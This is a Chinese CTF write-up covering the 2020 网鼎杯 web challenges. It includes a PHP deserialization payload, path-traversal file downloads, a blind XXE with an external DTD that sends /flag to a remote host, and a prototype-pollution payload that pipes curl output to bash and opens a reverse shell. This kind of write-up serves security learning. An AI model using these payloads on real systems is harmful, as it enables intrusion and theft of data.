网鼎杯2020青龙组writeup-web
本文首发于Leon的Blog,如需转载请注明原创地址并联系作者
AreUSerialz
开题即送源码:
1 <?php 2 3 include("flag.php"); 4 5 highlight_file(__FILE__); 6 7 class FileHandler { 8 9 protected $op; 10 protected $filename; 11 protected $content; 12 13 function __construct() { 14 $op = "1"; 15 $filename = "/tmp/tmpfile"; 16 $content = "Hello World!"; 17 $this->process(); 18 } 19 20 public function process() { 21 if($this->op == "1") { 22 $this->write(); 23 } else if($this->op == "2") { 24 $res = $this->read(); 25 $this->output($res); 26 } else { 27 $this->output("Bad Hacker!"); 28 } 29 } 30 31 private function write() { 32 if(isset($this->filename) && isset($this->content)) { 33 if(strlen((string)$this->content) > 100) { 34 $this->output("Too long!"); 35 die(); 36 } 37 $res = file_put_contents($this->filename, $this->content); 38 if($res) $this->output("Successful!"); 39 else $this->output("Failed!"); 40 } else { 41 $this->output("Failed!"); 42 } 43 } 44 45 private function read() { 46 $res = ""; 47 if(isset($this->filename)) { 48 $res = file_get_contents($this->filename); 49 } 50 return $res; 51 } 52 53 private function output($s) { 54 echo "[Result]: <br>"; 55 echo $s; 56 } 57 58 function __destruct() { 59 if($this->op === "2") 60 $this->op = "1"; 61 $this->content = ""; 62 $this->process(); 63 } 64 65 } 66 67 function is_valid($s) { 68 for($i = 0; $i < strlen($s); $i++) 69 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 70 return false; 71 return true; 72 } 73 74 if(isset($_GET{'str'})) { 75 76 $str = (string)$_GET['str']; 77 if(is_valid($str)) { 78 $obj = unserialize($str); 79 } 80 81 }
审计代码:
GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化
但是这里会ban掉不可见字符\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了
然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。
审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)
所以基于PHP的特性我们可以构造$op=”2e0”进行绕过
然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么
用绝对路径/var/www/html读也没用
我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/
然后发现了web路径:
所以猜测flag.php路径是:/web/html/flag.php
直接读取不行,用伪协议读可以
payload:
1 <?php 2 class FileHandler { 3 4 public $op = "2e0"; 5 public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php"; 6 } 7 8 $a = new FileHandler(); 9 echo urlencode(serialize($a)); 10 11 O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D
返回:
Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==
Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}
filejava
打开是一个文件上传页面,看了下页面是java写的,题目名称也说了
上传个文件,然后可以下载,复制下载链接一看:
可能存在任意文件下载,尝试:
发现可以下载到/etc/passwd
又根据报错知道是Tomcat于是读取web.xml:
得到:
1 <?xml version="1.0" encoding="UTF-8"?> 2 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5"> 3 <display-name>file_in_java</display-name> 4 <welcome-file-list> 5 <welcome-file>upload.jsp</welcome-file> 6 </welcome-file-list> 7 <servlet> 8 <description></description> 9 <display-name>UploadServlet</display-name> 10 <servlet-name>UploadServlet</servlet-name> 11 <servlet-class>cn.abc.servlet.UploadServlet</servlet-class> 12 </servlet> 13 <servlet-mapping> 14 <servlet-name>UploadServlet</servlet-name> 15 <url-pattern>/UploadServlet</url-pattern> 16 </servlet-mapping> 17 <servlet> 18 <description></description> 19 <display-name>ListFileServlet</display-name> 20 <servlet-name>ListFileServlet</servlet-name> 21 <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class> 22 </servlet> 23 <servlet-mapping> 24 <servlet-name>ListFileServlet</servlet-name> 25 <url-pattern>/ListFileServlet</url-pattern> 26 </servlet-mapping> 27 <servlet> 28 <description></description> 29 <display-name>DownloadServlet</display-name> 30 <servlet-name>DownloadServlet</servlet-name> 31 <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class> 32 </servlet> 33 <servlet-mapping> 34 <servlet-name>DownloadServlet</servlet-name> 35 <url-pattern>/DownloadServlet</url-pattern> 36 </servlet-mapping> 37 </web-app>
之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译
java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html
1 /DownloadServlet 2 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class 3 ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class 4 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class 5 ?filename=../../../../META-INF/MANIFEST.MF
主要利用点是在UploadServlet.java中有如下代码:
1 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) { 2 3 try { 4 Workbook wb1 = WorkbookFactory.create(in); 5 Sheet sheet = wb1.getSheetAt(0); 6 System.out.println(sheet.getFirstRowNum()); 7 } catch (InvalidFormatException e) { 8 System.err.println("poi-ooxml-3.10 has something wrong"); 9 e.printStackTrace(); 10 } 11 }
这里考到了CVE-2014-3529类似的漏洞
这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。
因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。
首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来
修改[Content_Types].xml的内容为:
1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 2 <!DOCTYPE try[ 3 <!ENTITY % int SYSTEM "http://***.***.***.***/a.xml"> 4 %int; 5 %all; 6 %send; 7 ]> 8 <root>&send;</root> 9 <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx
在自己的vps上新建a.xml文件,内容为:
1 <!ENTITY % payl SYSTEM "file:///flag"> 2 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">
然后监听8500端口,上传excel-1.xlsx即可收到flag
notes
考点:CVE-2019-10795 undefsafe原型链污染
参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
app.js源码:
1 var express = require('express'); 2 var path = require('path'); 3 const undefsafe = require('undefsafe'); 4 const { exec } = require('child_process'); 5 6 7 var app = express(); 8 class Notes { 9 constructor() { 10 this.owner = "whoknows"; 11 this.num = 0; 12 this.note_list = {}; 13 } 14 15 write_note(author, raw_note) { 16 this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; 17 } 18 19 get_note(id) { 20 var r = {} 21 undefsafe(r, id, undefsafe(this.note_list, id)); 22 return r; 23 } 24 25 edit_note(id, author, raw) { 26 undefsafe(this.note_list, id + '.author', author); 27 undefsafe(this.note_list, id + '.raw_note', raw); 28 } 29 30 get_all_notes() { 31 return this.note_list; 32 } 33 34 remove_note(id) { 35 delete this.note_list[id]; 36 } 37 } 38 39 var notes = new Notes(); 40 notes.write_note("nobody", "this is nobody's first note"); 41 42 43 app.set('views', path.join(__dirname, 'views')); 44 app.set('view engine', 'pug'); 45 46 app.use(express.json()); 47 app.use(express.urlencoded({ extended: false })); 48 app.use(express.static(path.join(__dirname, 'public'))); 49 50 51 app.get('/', function(req, res, next) { 52 res.render('index', { title: 'Notebook' }); 53 }); 54 55 app.route('/add_note') 56 .get(function(req, res) { 57 res.render('mess', {message: 'please use POST to add a note'}); 58 }) 59 .post(function(req, res) { 60 let author = req.body.author; 61 let raw = req.body.raw; 62 if (author && raw) { 63 notes.write_note(author, raw); 64 res.render('mess', {message: "add note sucess"}); 65 } else { 66 res.render('mess', {message: "did not add note"}); 67 } 68 }) 69 70 app.route('/edit_note') 71 .get(function(req, res) { 72 res.render('mess', {message: "please use POST to edit a note"}); 73 }) 74 .post(function(req, res) { 75 let id = req.body.id; 76 let author = req.body.author; 77 let enote = req.body.raw; 78 if (id && author && enote) { 79 notes.edit_note(id, author, enote); 80 res.render('mess', {message: "edit note sucess"}); 81 } else { 82 res.render('mess', {message: "edit note failed"}); 83 } 84 }) 85 86 app.route('/delete_note') 87 .get(function(req, res) { 88 res.render('mess', {message: "please use POST to delete a note"}); 89 }) 90 .post(function(req, res) { 91 let id = req.body.id; 92 if (id) { 93 notes.remove_note(id); 94 res.render('mess', {message: "delete done"}); 95 } else { 96 res.render('mess', {message: "delete failed"}); 97 } 98 }) 99 100 app.route('/notes') 101 .get(function(req, res) { 102 let q = req.query.q; 103 let a_note; 104 if (typeof(q) === "undefined") { 105 a_note = notes.get_all_notes(); 106 } else { 107 a_note = notes.get_note(q); 108 } 109 res.render('note', {list: a_note}); 110 }) 111 112 app.route('/status') 113 .get(function(req, res) { 114 let commands = { 115 "script-1": "uptime", 116 "script-2": "free -m" 117 }; 118 for (let index in commands) { 119 exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { 120 if (err) { 121 return; 122 } 123 console.log(`stdout: ${stdout}`); 124 }); 125 } 126 res.send('OK'); 127 res.end(); 128 }) 129 130 131 app.use(function(req, res, next) { 132 res.status(404).send('Sorry cant find that!'); 133 }); 134 135 136 app.use(function(err, req, res, next) { 137 console.error(err.stack); 138 res.status(500).send('Something broke!'); 139 }); 140 141 142 const port = 8080; 143 app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞
谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:
1 var object = { 2 a: { 3 b: [1,2,3] 4 } 5 }; 6 7 // modified object 8 var res = undefsafe(object, 'a.b.0', 10); 9 10 console.log(object); // { a: { b: [10, 2, 3] } } 11 //这里可以看见1被替换成了10
参考:https://github.com/remy/undefsafe
审计代码发现由于/status路由下有命令执行:
1 app.route('/status') 2 .get(function(req, res) { 3 let commands = { 4 "script-1": "uptime", 5 "script-2": "free -m" 6 }; 7 for (let index in commands) { 8 exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { 9 if (err) { 10 return; 11 } 12 console.log(`stdout: ${stdout}`); 13 }); 14 } 15 res.send('OK'); 16 res.end(); 17 })
所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令
/edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改
因为undefsafe操作的对象可控,所以我们可以进行原型链污染
payload:
1 id=__proto__&author=curl ip/a.txt|bash&raw=123 2 //a.txt内容为: 3 bash -i >& /dev/tcp/ip/port 0>&1
反弹shell,flag在根目录下
trace
这个是insert注入,好像复现不了了orz